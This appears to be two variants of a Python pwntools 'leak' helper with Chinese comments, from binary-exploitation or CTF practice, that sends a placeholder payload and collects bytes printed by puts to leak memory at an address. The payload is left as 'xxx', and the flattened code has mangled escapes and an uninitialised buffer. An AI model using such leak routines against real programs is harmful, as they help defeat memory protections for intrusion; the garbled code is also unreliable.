def leak(address): count = 0 data = '' payload = xxx p.send(payload) print p.recvuntil('xxxn') #一定要在puts前释放完输出 up = "" while True: #由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待0.1秒钟,如果确实接收不到 了,就说明输出结束了 #这里为了不与标志字符串结束的回车符(0x0A)混淆,所以有两个判断条件。这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串”” c = p.recv(numb=1, timeout=0.1) count += 1 if up == '\n' and c == "": #接收到的上一个字符为回车符,而当前接收不到新字符,则 buf = buf[:-1] #删除puts函数输出的末尾回车符 buf += "x00" break else: buf += c up = c data = buf[:4] #取指定字节数 log.info("%#x => %s" % (address, (data or '').encode('hex'))) return data
def leak(address): count = 0 data = '' payload = xxx p.send(payload) print p.recvuntil('xxxn') #一定要在puts前释放完输出 up = "" while True: #由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待1秒钟,如果确实接收不到了,就说明输出结束了 #不与标志字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串”” c = p.recv(numb=1, timeout=1) count += 1 if up == 'n' and c == "X": #接收到的上一个字符为回车符,下一个字符开头是X,那就结束输出。 buf = buf[:-1] #删除puts函数输出的末尾回车符 buf += "x00" break else: buf += c up = c data = buf[:4] #从put输出开头取指定字节数 log.info("%#x => %s" % (address, (data or '').encode('hex'))) return data